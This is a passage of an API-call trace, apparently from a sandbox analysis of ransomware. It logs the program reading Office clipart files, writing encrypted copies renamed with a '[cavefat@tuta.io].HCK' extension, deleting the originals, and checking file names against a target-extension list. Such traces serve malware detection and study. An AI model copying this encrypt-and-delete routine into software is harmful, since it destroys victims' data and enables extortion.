Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0168.084] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.084] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.085] GetLastError () returned 0x0 [0168.086] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2044, lpOverlapped=0x0) returned 1 [0168.112] WriteFile (in: hFile=0x330, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2050, lpOverlapped=0x0) returned 1 [0168.114] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.114] WriteFile (in: hFile=0x330, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.114] SetEndOfFile (hFile=0x330) returned 1 [0168.114] CloseHandle (hObject=0x330) returned 1 [0168.114] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.114] SetEndOfFile (hFile=0x378) returned 1 [0168.115] CloseHandle (hObject=0x378) returned 1 [0168.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 1 [0168.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0168.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0168.115] lstrlenW (lpString=".doc") returned 4 [0168.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.115] lstrlenW (lpString=".docx") returned 5 [0168.115] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.115] lstrlenW (lpString=".pdf") returned 4 [0168.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.115] lstrlenW (lpString=".xls") returned 4 [0168.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.115] lstrlenW (lpString=".xlsx") returned 5 [0168.115] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.115] lstrlenW (lpString=".ppt") returned 4 [0168.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0168.115] lstrlenW (lpString=".zip") returned 4 [0168.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.115] lstrlenW (lpString=".rar") returned 4 [0168.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.115] lstrlenW (lpString=".bz2") returned 4 [0168.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.116] lstrlenW (lpString=".7z") returned 3 [0168.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0168.116] lstrlenW (lpString=".dbf") returned 4 [0168.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0168.116] lstrlenW (lpString=".1cd") returned 4 [0168.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0168.116] lstrlenW (lpString=".jpg") returned 4 [0168.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0168.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0168.116] lstrlenW (lpString=".doc") returned 4 [0168.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.116] lstrlenW (lpString=".docx") returned 5 [0168.116] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.116] lstrlenW (lpString=".pdf") returned 4 [0168.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.116] lstrlenW (lpString=".xls") returned 4 [0168.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.116] lstrlenW (lpString=".xlsx") returned 5 [0168.116] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.116] lstrlenW (lpString=".ppt") returned 4 [0168.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0168.116] lstrlenW (lpString=".zip") returned 4 [0168.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.116] lstrlenW (lpString=".rar") returned 4 [0168.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.116] lstrlenW (lpString=".bz2") returned 4 [0168.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.116] lstrlenW (lpString=".7z") returned 3 [0168.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0168.116] lstrlenW (lpString=".dbf") returned 4 [0168.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0168.116] lstrlenW (lpString=".1cd") returned 4 [0168.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0168.116] lstrlenW (lpString=".jpg") returned 4 [0168.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.117] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.117] lstrlenW (lpString="J0107728.WMF") returned 12 [0168.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0168.117] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5492) returned 1 [0168.117] CloseHandle (hObject=0x378) returned 1 [0168.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 0x220 [0168.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0168.117] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.117] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.118] GetLastError () returned 0x0 [0168.118] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1574, lpOverlapped=0x0) returned 1 [0168.179] WriteFile (in: hFile=0x330, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1580, lpOverlapped=0x0) returned 1 [0168.180] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.180] WriteFile (in: hFile=0x330, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.180] SetEndOfFile (hFile=0x330) returned 1 [0168.180] CloseHandle (hObject=0x330) returned 1 [0168.180] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.180] SetEndOfFile (hFile=0x378) returned 1 [0168.181] CloseHandle (hObject=0x378) returned 1 [0168.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 1 [0168.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0168.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0168.182] lstrlenW (lpString=".doc") returned 4 [0168.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.182] lstrlenW (lpString=".docx") returned 5 [0168.182] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.182] lstrlenW (lpString=".pdf") returned 4 [0168.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.182] lstrlenW (lpString=".xls") returned 4 [0168.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.182] lstrlenW (lpString=".xlsx") returned 5 [0168.182] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.182] lstrlenW (lpString=".ppt") returned 4 [0168.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0168.182] lstrlenW (lpString=".zip") returned 4 [0168.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.182] lstrlenW (lpString=".rar") returned 4 [0168.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.182] lstrlenW (lpString=".bz2") returned 4 [0168.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.182] lstrlenW (lpString=".7z") returned 3 [0168.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0168.182] lstrlenW (lpString=".dbf") returned 4 [0168.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0168.182] lstrlenW (lpString=".1cd") returned 4 [0168.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0168.182] lstrlenW (lpString=".jpg") returned 4 [0168.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0168.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0168.182] lstrlenW (lpString=".doc") returned 4 [0168.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.182] lstrlenW (lpString=".docx") returned 5 [0168.182] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.182] lstrlenW (lpString=".pdf") returned 4 [0168.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.182] lstrlenW (lpString=".xls") returned 4 [0168.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.182] lstrlenW (lpString=".xlsx") returned 5 [0168.182] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.182] lstrlenW (lpString=".ppt") returned 4 [0168.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0168.182] lstrlenW (lpString=".zip") returned 4 [0168.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.182] lstrlenW (lpString=".rar") returned 4 [0168.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.183] lstrlenW (lpString=".bz2") returned 4 [0168.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.183] lstrlenW (lpString=".7z") returned 3 [0168.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0168.183] lstrlenW (lpString=".dbf") returned 4 [0168.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0168.183] lstrlenW (lpString=".1cd") returned 4 [0168.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0168.183] lstrlenW (lpString=".jpg") returned 4 [0168.183] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.183] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.183] lstrlenW (lpString="J0107744.WMF") returned 12 [0168.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0168.184] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5004) returned 1 [0168.184] CloseHandle (hObject=0x378) returned 1 [0168.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 0x220 [0168.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0168.184] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.184] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.185] GetLastError () returned 0x0 [0168.185] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x138c, lpOverlapped=0x0) returned 1 [0168.219] WriteFile (in: hFile=0x330, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1390, lpOverlapped=0x0) returned 1 [0168.219] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.219] WriteFile (in: hFile=0x330, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.219] SetEndOfFile (hFile=0x330) returned 1 [0168.223] CloseHandle (hObject=0x330) returned 1 [0168.223] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.223] SetEndOfFile (hFile=0x378) returned 1 [0168.225] CloseHandle (hObject=0x378) returned 1 [0168.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.226] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 1 [0168.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0168.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0168.226] lstrlenW (lpString=".doc") returned 4 [0168.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.226] lstrlenW (lpString=".docx") returned 5 [0168.226] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.226] lstrlenW (lpString=".pdf") returned 4 [0168.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.226] lstrlenW (lpString=".xls") returned 4 [0168.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.226] lstrlenW (lpString=".xlsx") returned 5 [0168.226] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.226] lstrlenW (lpString=".ppt") returned 4 [0168.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0168.227] lstrlenW (lpString=".zip") returned 4 [0168.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.227] lstrlenW (lpString=".rar") returned 4 [0168.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.227] lstrlenW (lpString=".bz2") returned 4 [0168.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.227] lstrlenW (lpString=".7z") returned 3 [0168.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0168.227] lstrlenW (lpString=".dbf") returned 4 [0168.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0168.227] lstrlenW (lpString=".1cd") returned 4 [0168.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0168.227] lstrlenW (lpString=".jpg") returned 4 [0168.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0168.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0168.227] lstrlenW (lpString=".doc") returned 4 [0168.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.227] lstrlenW (lpString=".docx") returned 5 [0168.227] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.227] lstrlenW (lpString=".pdf") returned 4 [0168.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.227] lstrlenW (lpString=".xls") returned 4 [0168.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.227] lstrlenW (lpString=".xlsx") returned 5 [0168.227] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.227] lstrlenW (lpString=".ppt") returned 4 [0168.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0168.227] lstrlenW (lpString=".zip") returned 4 [0168.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.227] lstrlenW (lpString=".rar") returned 4 [0168.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.227] lstrlenW (lpString=".bz2") returned 4 [0168.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.227] lstrlenW (lpString=".7z") returned 3 [0168.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0168.227] lstrlenW (lpString=".dbf") returned 4 [0168.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0168.227] lstrlenW (lpString=".1cd") returned 4 [0168.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0168.227] lstrlenW (lpString=".jpg") returned 4 [0168.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.228] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.228] lstrlenW (lpString="J0136865.WMF") returned 12 [0168.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.230] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=16710) returned 1 [0168.230] CloseHandle (hObject=0x360) returned 1 [0168.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 0x220 [0168.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.231] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.231] SetFilePointerEx (in: hFile=0x360, 